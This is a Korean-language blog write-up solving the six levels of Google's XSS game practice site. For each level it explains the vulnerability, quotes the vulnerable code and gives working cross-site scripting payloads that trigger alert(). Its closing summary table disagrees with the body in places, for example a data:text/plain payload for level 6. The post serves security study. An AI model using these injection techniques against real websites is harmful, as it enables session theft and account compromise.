STUDY/webhacking writeup

[Google XSS game] Level 1~6

7alswn 2025. 6. 26. 17:29
https://xss-game.appspot.com

Level 1: Hello, world of XSS

문제 화면

문제 풀이
  • 공격 유형: Reflected XSS (입력값이 필터링 없이 HTML에 삽입됨)
  • 취약점: query 값을 HTML에 escape 없이 직접 삽입함
  • 소스코드→ 간단하게 <script> 태그 안에서 alert()을 실행하면 브라우저가 태그를 인식함
  • *페이로드
    <script>alert()</script>
    *페이로드(Payload): 공격자가 시스템에 전달하는 실행 가능한 명령어나 코드
  • 완성된 URL
    https://xss-game.appspot.com/level1/frame?query=<script>alert()</script>
    
    // 입력값이 필터링 없이 그대로 삽입되어 XSS 성공
     

Level 2: Persistence is key

문제 화면

문제 풀이
  • 공격 유형: Stored XSS
  • 취약점: <script> 태그는 필터링되지만 이미지의 onerror는 필터링 안 됨
    * <script>alert()</script> → 실패 (스크립트 필터링)
  • 우회 페이로드
    <img src=nothing onerror=alert()>
    <!-- <img> 태그의 onerror 속성을 이용한 스크립트 실행 -->
    <!-- src="x"로 인해 이미지 로드 실패 → onerror 트리거 → alert() 실행 -->
    
    <!-- Tip: CheatSheet에서 찾아서 넣어보기 -->
    <img src/onerror=alert(1)>

Level 3: That sinking feeling

문제 화면

문제 풀이
  • 공격 유형: *DOM-based XSS (frontend JavaScript가 URL fragment를 처리함)
    *DOM(Document Object Model): 웹 브라우저가 HTML 문서를 구조화해서 표현한 트리 구조
    ⇒ HTML 문서의 각 요소(태그)를 JS로 제어할 수 있게 만든 구조
    *DOM-based XSS: 공격자가 실행 중인 JS를 조작해서 악성 스크립트를 DOM 내부에 삽입하거나 실행시키는 공격
  • 취약점: URL fragment(#..)가 chooseTab(num) 함수에서 innerHTML에 넘어가면서 <img src=...>에 포함됨
  • 공격 방식
    1. URL 끝에 존재하지 않는 이미지 번호 전달 (#4)
    2. 이미지 로드 실패 시 onerror 발생
    3. onerror에 스크립트 삽입
  • Hints 분석
    1. 버그의 원인을 찾으려면 JavaScript를 검토하여 사용자가 제공한 입력을 처리하는 위치 확인
      = 페이지에서 사용자 입력이 어디에서 쓰이는 지 확인하기 → URL fragment 부분(ex. #2)이 입력으로 간주
      즉, *window.location.hash 값을 JS에서 처리하고 있으며, 해당 값이 이미지 src 속성에 사용되고 있음
      * window.location.hash: URL에서 # 뒤에 있는 값
    2. window.location 객체의 데이터는 공격자의 영향을 받을 수 있음
      = window.location.hash는 사용자가 조작할 수 있는 부분이므로 취약한 값
    3. 주입 지점을 확인한 후, 새로운 HTML 요소를 몰래 들여오기 위해 무엇을 해야 하는지 생각
      <script>
            function chooseTab(num) {
              // Dynamically load the appropriate image.
              var html = "Image " + parseInt(num) + "<br>";
              html += "<img src='/static/level3/cloud" + num + ".jpg' />"; // 입력값 주입 지점
              $('#tabContent').html(html);
       
              window.location.hash = num;
      ...
      → 이미지 태그 속성에 조작된 문자열(hash 값)을 삽입할 수 있음
    4. 이전과 마찬가지로, 페이지 로드 후 브라우저가 추가된 스크립트를 실행하지 않기 때문에 <script>...</script>는 미작동
      = 브라우저 보안 정책상 innerHTML로 삽입된 <script> 태그는 실행되지 않음
      이벤트 기반 XSS(<img onerror=...>)를 사용해야 함
  • 페이로드
    #4' onerror='alert(1)

Level 4: Context matters

문제 화면

문제 풀이
  • 공격 유형: JavaScript 속 문자열 조작을 통한 XSS (= JS context 주입)
  • 취약점: timer 값이 onload="startTimer('{{ timer }}');"에 삽입됨
  • Hints 분석
    1. startTimer 함수 호출 방식 확인
      <body id="level4">
        <img src="/static/logos/level4.png" />
        <br>
        <img src="/static/loading.gif" onload="startTimer('{{ timer }}');" /> // --> 인자가 '로 감싸져 있음
        <br>
        <div id="message">Your timer will execute in {{ timer }} seconds.</div>
      </body>
      = 브라우저가 onload 이벤트에서 startTimer('{{timer}}')를 호출하고 있음
        startTimer('5')와 같이 인자가 '로 감싸져 있음
    2. 브라우저가 태그 속성을 구문 분석할 때, 값을 HTML로 먼저 디코딩 함 <foo bar='z'> = <foo bar='&#x7a;'
      = HTML 속성 값에서 특수 문자가 HTML 인코딩되어 있어도 브라우저는 최종적으로 해석된 값을 사용함
      문자열을 정확한 위치에 끼워넣으면 HTML 인코딩 여부와 상관없이 JavaScript에 영향 줄 수 있음
    3. 하나의 인용문(')을 입력하고 오류 콘솔을 확인
      입력에 ' 삽입 시 문자열이 끊김 (JavaScript는 문자열이 제대로 닫히지 않으면 에러 발생)
      그 뒤에 삽입한 코드를 독립적인 JavaScript로 실행시킬 수 있음

  • 페이로드 시도:
    1. 5'); alert(1)// → 실패(타이머 정상 작동)
    2. 주의: ' 형식에 맞춰 닫아야 함
  • 페이로드
    3'); alert('1
    
    <!-- 3'); alert('1)도 가능! 1) 자체를 문자열로 인식함 -->

Level 5: Breaking protocol

문제 화면

문제 풀이
  • 공격 유형: DOM-based / URL Redirection XSS
  • 취약점: next 파라미터가 <a href="{{ next }}"> 또는 window.location="{{ next }}"에 삽입됨
  • Hints 분석
    1. 레벨 제목이 힌트  "프로토콜을 깨는 것"이 핵심
      = https://, http:// 말고도 다른 프로토콜(ex. javascript:)이 있다는 것
      javascript: 로 시작하는 URL을 링크에 넣으면, 링크 클릭 시 JS 코드가 실행됨
    2. signup 프레임의 소스 코드를 보면 URL 파라미터가 어디에 쓰이는지 알 수 있음
      <a href="{{ next }}">Next >></a>
      =  next=... 값이 href 속성에 그대로 삽입됨
      next=javascript:alert(1)로 설정 시
      <a href="javascript:alert(1)"></a>
      해당 링크를 누르면 alert(1) 실행!
    3. onclick 없이 링크를 클릭해 JS를 실행하는 방법
      <a href="javascript:...">
    4. IETF draft 보기
      = javascript: URI 공식 문서 / javascript:를 URL로 쓰는 것이 표준적으로 가능한 일임
  • 페이로드
    ?next=javascript:alert(1)
     
  •  최종 URL
    https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert()
    ※ URL 위조 후 GO 버튼 클릭 후 Next 버튼을 눌러야 위조된 URL이 반영됨 

Level 6: Follow the 🐇

문제 화면

문제 풀이
  • 공격 유형: DOM-based / Data *스킴 XSS
    *스킴: URL의 가장 앞 부분, 어떤 방식으로 자원에 접근할지를 나타내는 부분
    ex. 스킴://호스트/경로?쿼리
  • 취약점: *location.hash를 scriptEl.rec = url에 그대로 삼입함. http(s): 포함 시 차단 정책은 존재
    *location.hash: URL에서 # 뒤 문자열
    ex. https://example.com/page#hello일 경우, location.hash는 #hello, location.hash.substring(1)은 hello  
    // index.html
    
    <script>
    
    function includeGadget(url) {
      var scriptEl = document.createElement('script');
    
      if (url.match(/^https?:\/\//)) { // 차단 조건: http:// 또는 https://로 시작하면 로드 안 됨
        setInnerText(document.getElementById("log"),
          "Sorry, cannot load a URL containing \"http\".");
        return;
      }
    
      scriptEl.src = url; // 전달받은 URL을 scriptEl.src에 설정
    
      scriptEl.onload = function() { ... };
      scriptEl.onerror = function() { ... };
    
      document.head.appendChild(scriptEl); // <script src="...">를 <head>에 추가 = 조작한 값이 스크립트로 실행됨
    }
    
    // Take the value after # and use it as the gadget filename.
    function getGadgetName() { 
      return window.location.hash.substr(1) || "/static/gadget.js"; // hash에서 '#' 제거 = # 뒤 값이 외부 스크립트 경로!
    }
    
    includeGadget(getGadgetName()); // 함수가 호출 시 조작한 URL #(hash) 값을 통해 악성 자바스크립트를 로드하고록 만들어야 함
    
    // Extra code so that we can communicate with the parent page
    window.addEventListener("message", function(event){
      if (event.source == parent) {
        includeGadget(getGadgetName());
      }
    }, false);
    </script>
    → data: 스킴으로 우회 가능
  • 페이로드
    #data:text/javascript,alert(1)
  • 공격 흐름
    1. 사용자가 URL에 #data:text/javascript,alert(1)을 넣고 접속
    2. getGadgetName() → data:text/javascript,alert(1) 리턴
    3. includeGadget() → <script src=...> 생성
    4. <script src="data:text/javascript,alert(1)"> 실행
    5. alert(1) 팝업 성공 → ✅ XSS

정리

level 공격 유형 취약점 페이로드
1 Reflected XSS query 삽입 텍스트 무필터링 <script>alert(...)</script>
2 Stored XSS <script> 제한, onerror 가능 <img src="x" onerror="alert()">
3 DOM-based XSS location.hash → innerHTML #1' onerror='alert(1)//
4 JS 컨텍스트 XSS onload="startTimer('{{timer}}');" 3');alert('test
5 URL 스킴/DOM XSS next 파라미터 삽입 ?next=javascript:alert(1)
6 DOM-based + 스킴 location.hash → script src #data:text/plain,alert(1)

'STUDY > webhacking writeup' 카테고리의 다른 글

[Dreamhack] simple_sqli  (0) 2025.06.27